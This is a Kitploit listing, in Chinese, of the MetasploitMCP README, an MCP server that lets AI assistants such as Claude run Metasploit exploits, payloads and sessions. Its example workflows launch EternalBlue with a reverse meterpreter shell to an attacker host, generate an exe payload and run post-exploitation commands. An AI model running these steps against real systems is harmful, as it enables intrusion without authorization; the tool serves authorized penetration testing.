Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
MetasploitMCP — 用于 Metasploit 的 MCP 服务器 | Kitploit
工具/GitHubGitHub/gh05tcrew/metasploitmcp
渗透测试框架漏洞利用框架Payload生成漏洞分析漏洞利用后渗透利用渗透测试命令与控制红队远程访问工具Shellcode 生成
707200547个月前Kitploit 审核通过
GitHub
gh05tcrew/metasploitmcp

MetasploitMCP

用于 Metasploit 的 MCP 服务器

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Metasploit MCP 服务器

用于 Metasploit Framework 集成的 Model Context Protocol (MCP) 服务器。

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

描述

该 MCP 服务器为 Claude 等大语言模型与 Metasploit Framework 渗透测试平台之间搭建了一座桥梁。它允许 AI 助手通过标准化工具动态访问和控制 Metasploit 的功能,为复杂的安全测试工作流程提供自然语言界面。

功能特性

模块信息

  • list_exploits:搜索并列出可用的 Metasploit 漏洞利用模块
  • list_payloads:搜索并列出可用的 Metasploit payload 模块,支持可选的平台和架构过滤

漏洞利用工作流程

  • run_exploit:针对目标配置并执行漏洞利用,可选择先运行检查
  • run_auxiliary_module:使用自定义选项运行任意 Metasploit 辅助模块
  • run_post_module:针对现有会话执行后渗透模块

Payload 生成

  • generate_payload:使用 Metasploit RPC 生成 payload 文件(将文件保存在本地)

会话管理

  • list_active_sessions:显示当前 Metasploit 会话及其详细信息
  • send_session_command:在活动的 shell 或 Meterpreter 会话中运行命令
  • terminate_session:强制结束活动会话

处理程序管理

下载工具
  • list_listeners:显示所有活动的处理程序和后台作业
  • start_listener:创建新的 multi/handler 以接收连接
  • stop_job:终止任何正在运行的作业或处理程序

前提条件

  • 已安装 Metasploit Framework 且 msfrpcd 正在运行
  • Python 3.10 或更高版本
  • 所需的 Python 包(参见 requirements.txt)

安装

  1. 克隆此仓库
  2. 安装依赖:
    root@kitploit:~
    pip install -r requirements.txt
    
  3. 配置环境变量(可选):
    root@kitploit:~
    MSF_PASSWORD=yourpassword
    MSF_SERVER=127.0.0.1
    MSF_PORT=55553
    MSF_SSL=false
    PAYLOAD_SAVE_DIR=/path/to/save/payloads  # Optional: Where to save generated payloads
    

使用方法

启动 Metasploit RPC 服务:

root@kitploit:~
msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

传输选项

该服务器支持两种传输方式:

  • HTTP/SSE(服务器发送事件):默认模式,用于与大多数 MCP 客户端实现互操作
  • STDIO(标准输入/输出):用于 Claude Desktop 及类似的直接管道连接

您可以通过 --transport 标志显式选择传输模式:

root@kitploit:~
# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http

# Run with STDIO transport
python MetasploitMCP.py --transport stdio

HTTP 模式的其他选项:

root@kitploit:~
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Claude Desktop 集成

要进行 Claude Desktop 集成,请配置 claude_desktop_config.json:

root@kitploit:~
{
    "mcpServers": {
        "metasploit": {
            "command": "uv",
            "args": [
                "--directory",
                "C:\\path\\to\\MetasploitMCP",
                "run",
                "MetasploitMCP.py",
                "--transport",
                "stdio"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword"
            }
        }
    }
}

其他 MCP 客户端

对于使用 HTTP/SSE 的其他 MCP 客户端:

  1. 以 HTTP 模式启动服务器:

    root@kitploit:~
    python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
    
  2. 将您的 MCP 客户端配置为连接到:

    • SSE 端点:http://your-server-ip:8085/sse

安全注意事项

⚠️ 重要安全警告:

该工具提供对 Metasploit Framework 功能的直接访问,其中包括强大的漏洞利用功能。请负责任地使用,并且仅在获得明确授权执行安全测试的环境中使用。

  • 在执行前始终验证并审查所有命令
  • 仅在隔离的测试环境中或获得适当授权的情况下运行
  • 请注意,后渗透命令可能导致重大的系统更改

示例工作流程

基本漏洞利用

  1. 列出可用的漏洞利用:list_exploits("ms17_010")
  2. 选择并运行漏洞利用:run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
  3. 列出会话:list_active_sessions()
  4. 运行命令:send_session_command(1, "whoami")

后渗透

  1. 运行后渗透模块:run_post_module("windows/gather/enum_logged_on_users", 1)
  2. 发送自定义命令:send_session_command(1, "sysinfo")
  3. 完成后终止:terminate_session(1)

处理程序管理

  1. 启动监听器:start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
  2. 列出活动的处理程序:list_listeners()
  3. 生成 payload:generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
  4. 停止处理程序:stop_job(1)

测试

本项目包含全面的单元测试和集成测试,以确保可靠性和可维护性。

测试前提条件

安装测试依赖:

root@kitploit:~
pip install -r requirements-test.txt

或使用便捷的安装程序:

root@kitploit:~
python run_tests.py --install-deps
# OR
make install-deps

运行测试

快速命令

root@kitploit:~
# Run all tests
python run_tests.py --all
# OR
make test

# Run with coverage report
python run_tests.py --all --coverage
# OR
make coverage

# Run with HTML coverage report
python run_tests.py --all --coverage --html
# OR
make coverage-html

特定测试套件

root@kitploit:~
# Unit tests only
python run_tests.py --unit
# OR
make test-unit

# Integration tests only  
python run_tests.py --integration
# OR
make test-integration

# Options parsing tests
python run_tests.py --options
# OR
make test-options

# Helper function tests
python run_tests.py --helpers
# OR
make test-helpers

# MCP tools tests
python run_tests.py --tools
# OR
make test-tools

测试选项

root@kitploit:~
# Include slow tests
python run_tests.py --all --slow

# Include network tests (requires actual network)
python run_tests.py --all --network

# Verbose output
python run_tests.py --all --verbose

# Quick test (no coverage, fail fast)
make quick-test

# Debug mode (detailed failure info)
make test-debug

测试结构

  • tests/test_options_parsing.py:用于优雅选项解析功能的单元测试
  • tests/test_helpers.py:用于内部辅助函数和 MSF 客户端管理的单元测试
  • tests/test_tools_integration.py:使用模拟的 Metasploit 后端对所有 MCP 工具进行集成测试
  • conftest.py:共享的测试夹具和配置
  • pytest.ini:包含覆盖率设置的 Pytest 配置

测试特性

  • 全面的模拟:所有 Metasploit 依赖均被模拟,因此测试无需安装实际的 MSF 即可运行
  • 异步支持:通过 pytest-asyncio 提供完整的 async/await 测试支持
  • 覆盖率报告:提供详细的覆盖率分析及 HTML 报告
  • 参数化测试:高效测试多种输入场景
  • 夹具管理:为常见设置场景提供可复用的测试夹具

覆盖率报告

运行带覆盖率的测试后,可在以下位置获取报告:

  • 终端:测试运行后显示覆盖率摘要
  • HTML:htmlcov/index.html(使用 --html 选项时生成)

CI/CD 集成

用于持续集成:

root@kitploit:~
# CI-friendly test command
make ci-test
# OR
python run_tests.py --all --coverage --verbose

配置选项

Payload 保存目录

默认情况下,使用 generate_payload 生成的 payload 会保存到您主目录下的 payloads 文件夹中(~/payloads 或 C:\Users\YourUsername\payloads)。您可以通过设置 PAYLOAD_SAVE_DIR 环境变量来自定义此位置。

设置环境变量:

  • Windows(PowerShell):

    root@kitploit:~
    $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
    
  • Windows(命令提示符):

    root@kitploit:~
    set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
    
  • Linux/macOS:

    root@kitploit:~
    export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
    
  • 在 Claude Desktop 配置中:

    root@kitploit:~
    "env": {
        "MSF_PASSWORD": "yourpassword",
        "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"  // Only add if you want to override the default
    }
    

注意: 如果您指定了自定义路径,请确保该路径存在或应用程序有权创建它。如果路径无效,payload 生成可能会失败。

许可证

Apache 2.0